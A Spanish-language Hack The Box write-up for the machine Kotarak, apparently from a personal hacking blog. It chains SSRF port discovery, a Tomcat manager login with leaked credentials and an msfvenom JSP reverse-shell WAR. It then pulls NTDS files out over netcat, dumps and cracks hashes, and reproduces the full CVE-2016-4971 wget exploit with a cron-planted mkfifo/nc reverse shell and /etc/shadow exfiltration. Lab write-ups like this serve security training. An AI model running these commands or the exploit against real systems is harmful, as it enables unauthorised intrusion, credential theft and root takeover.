lund@home:~$

Autor: Lund K. S.

HTB_Kotarak HTB_Kotarak | Hacker-Blog

HTB_Kotarak

Kotarak {-}

Introduccion {-}

La maquina del dia 17/08/2021 se llama Kotarak.

El replay del live se puede ver aqui

S4vitaar Kotarak maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.55

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.55

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.55 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,8009,8080,60000, 10.10.10.55 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Conneccion directa usuario y contraseña
8009 tcp ajp13 Web, Fuzzing  
8080 http tomcat Web, Fuzzing  
60000 http apache Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.55:8080

Nada interressante aqui

Checkear la web por los differentes puertos {-}

  • El puerto 8009 no sale Nada.
  • El puerto 8080 nos saca un 404
  • El puerto 60000 nos sale una pagina

La pagina en el puerto 60000 parece ser un web browser que podriamos utilizar para navigar sobre otras paginas web de manera anonyma.

Creamos nuestro proprio servidor web para ver lo que pasa.

vi index.html

Hola, Vodafone apestais y sois los peores....

Compartimos un servidor web con python

python3 http.server 80

Si desde la web lanzamos un http://10.10.14.6 vemos nuestra pagina web. Intentamos crear una pagina php pero no funcciona.

Vulnerability Assessment {-}

HTML Injection, XSS y SSRF {-}

Intentamos con etiquetas html y script… vemos que el servicio es vulnerable a html injection y XSS pero no podemos hacer muchas cosas con esto.

Vamos a ver si es vulnerable a un SSRF (Server Side Request Forgery). Si le ponemos localhost:22 la pagina nos reporta la cabezera des servicio ssh. Vamos aqui a utilizar WFUZZ para enumerar los puertos internos que estan abiertos.

Uzando WFUZZ para enumerar los puertos internos abiertors {-}

wfuzz -c -t 200 --hc=404 -z range,1-65535 "http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ"

Aqui vemos que hay muchas respuestas que nos dan 2 caracteres de respuesta y esto lo vamos a ocultar.

wfuzz -c -t 200 --hh=2 --hc=404 -z range,1-65535 "http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ"

Aqui vemos muchos puertos addicionales que no nos reporto el scanning de NMAP como los puertos

  • 320
  • 90
  • 888
  • 110
  • 200
  • 3306 (mysql)

Verificamos estos puertos con la web y encontramos cosas muy interesante como un panel de administracion en el puerto 320 y un listador de ficheros en el puerto 888. Encontramos un fichero backup y lo miramos desde la web http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup y mirando el codigo fuente encontramos informaciones muy interesante en el XML. Vemos un usuario admin y su contraseña.

Como vemos que el fichero XML es un fichero de configuracion tomcat miramos si las credenciales son validas en el servicio del puerto 8080

Vuln exploit & Gaining Access {-}

Conneccion en el panel de administracion de Tomcat {-}

Como todos los servicios tomcat, el panel de administracion se encuentra en la routa /manager/html

lo miramos en la url http://10.10.10.55:8080/manager/html

Una vez ganado el accesso al panel de administracion de tomcat, ya savemos que podemos subir un war malicioso.

msfvenom -l payload | grep "jsp"
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 -f war -o reverse.war

subimos el fichero en la web.

Nos ponemos en escucha con netcat por el puerto 443

nc -nlvp 443

Pinchamos el fichero reverse.war y vemos que ya hemos ganado acceso al systema

whoami

> tomcat

Tratamiento de la TTY {-}

which python
python -c 'import pty;pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Dandole a cd /home vemos que hay dos usuarios tomcat y atanas

find \-name user.txt 2>/dev/null | xargs cat

Vemos que la flag esta en el directorio atanas y que no podemos leer la flag

User pivoting al usuario atanas {-}

cd tomcat
ls -la
cd to_archive
ls -la
cd pentest_data
ls -la
file *

Aqui vemos que hay dos ficheros y con el commando file vemos que hay un fichero data y un MS Windows registry file NT/2000. Nos traemos estos dos ficheros a nuestro equipo de atacante.

  1. en la maquina de atacante

     nc -nlvp 443 > ntds.bin
    
  2. en la maquina victima

     nc 10.10.14.6 443 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
    
  3. en la maquina de atacante

     nc -nlvp 443 > ntds.dit
    
  4. en la maquina victima

     nc 10.10.14.6 443 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
    

Recuperando hashes nt desde ficheros Active Directories {-}

mv ntds.dit ntds
mv ntds.bin SYSTEM
impacket-secretsdump -ntds ntds -system SYSTEM LOCAL

Aqui copiamos los diferentes hashes en un fichero llamado hash

Kotrarak-hashes cat hash | awk ‘{print $4}’ FS=”:” y copiamos los hashes en la pagina crack station

```{r, echo = FALSE, fig.cap=”hashes crackstation”, out.width=”90%”} knitr::include_graphics(“images/Kotarak-crackstation.png”)

Kotarak-crackstatio

su atanas
Password: f16tomcat!
whoami
> atanas

y ya podemos ver la flag

Privilege Escalation {-}

Rootear la maquina {-}

cd /root
cat flag.txt

Hemos podido entrar en el repertorio root pero la flag no es la buena. Hay un fichero app.log y vemos que hay una tarea que parece que se lanza cada 2 minutos y que nos hace un GET desde la maquina 10.0.3.133 a la maquina victima.

Intentamos ponernos en escucha al puerto 80 con ncat pero tenemos un Permission denied. Miramos si la utilidad authbind esta installada porque authbind es un binario que permite a un usuario con bajos privilegios de ponerse en escucha por un puerto definido.

which authbind
ls -la /etc/authbind/byport

Aqui vemos que hay dos puertos el 21 y el 80.

authbind nc -nlvp 80

Ya vemos que la tarea sigue siendo ejecutada y vemos que la maquina 10.0.3.133 utiliza una version de Wget que esta desactualizada.

Miramos si existe un exploit para esta version

searchsploit wget 1.16

y vemos que hay un Arbitrary File Upload / Remote Code Execution.

searchsploit -x 40064

Seguimos por pasos la explicacion del exploit

  1. creamos un fichero .wgetrc y le insertamos

     cat <<_EOF_>.wgetrc
     post_file = /etc/shadow
     output_document = /etc/cron.d/wget-root-shell
     _EOF_
    
  2. creamos un script en python

     #!/usr/bin/env python
    
     #
     # Wget 1.18 < Arbitrary File Upload Exploit
     # Dawid Golunski
     # dawid( at )legalhackers.com
     #
     # http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
     #
     # CVE-2016-4971
     #
    
     import SimpleHTTPServer
     import SocketServer
     import socket;
    
     class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
     def do_GET(self):
         # This takes care of sending .wgetrc
    
         print "We have a volunteer requesting " + self.path + " by GET :)\n"
         if "Wget" not in self.headers.getheader('User-Agent'):
         print "But it's not a Wget :( \n"
             self.send_response(200)
             self.end_headers()
             self.wfile.write("Nothing to see here...")
             return
    
         print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
         self.send_response(301)
         new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
         print "Sending redirect to %s \n"%(new_path)
         self.send_header('Location', new_path)
         self.end_headers()
    
     def do_POST(self):
         # In here we will receive extracted file and install a PoC cronjob
    
         print "We have a volunteer requesting " + self.path + " by POST :)\n"
         if "Wget" not in self.headers.getheader('User-Agent'):
         print "But it's not a Wget :( \n"
             self.send_response(200)
             self.end_headers()
             self.wfile.write("Nothing to see here...")
             return
    
         content_len = int(self.headers.getheader('content-length', 0))
         post_body = self.rfile.read(content_len)
         print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
    
         print "Sending back a cronjob script as a thank-you for the file..."
         print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
         self.send_response(200)
         self.send_header('Content-type', 'text/plain')
         self.end_headers()
         self.wfile.write(ROOT_CRON)
    
         print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
    
         return
    
     HTTP_LISTEN_IP = '0.0.0.0'
     HTTP_LISTEN_PORT = 80
     FTP_HOST = '10.10.10.55'
     FTP_PORT = 21
    
     ROOT_CRON = "* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 443 >/tmp/f \n"
    
     handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
    
     print "Ready? Is your FTP server running?"
    
     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     result = sock.connect_ex((FTP_HOST, FTP_PORT))
     if result == 0:
     print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
     else:
     print "FTP is down :( Exiting."
     exit(1)
    
     print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
    
     handler.serve_forever()
    
  3. habrimos en una ventana el puerto 21 para el ftp

     authbind python -m pyftpdlib -p21 -w
    
  4. en la otra ventana lanzamos el exploit

     authbind python wget-exploit.py
    

en la maquina de atacante nos ponemos en escucha por el puerto 443 y esperamos que nos entable esta Coneccion.

whoami -> root ;)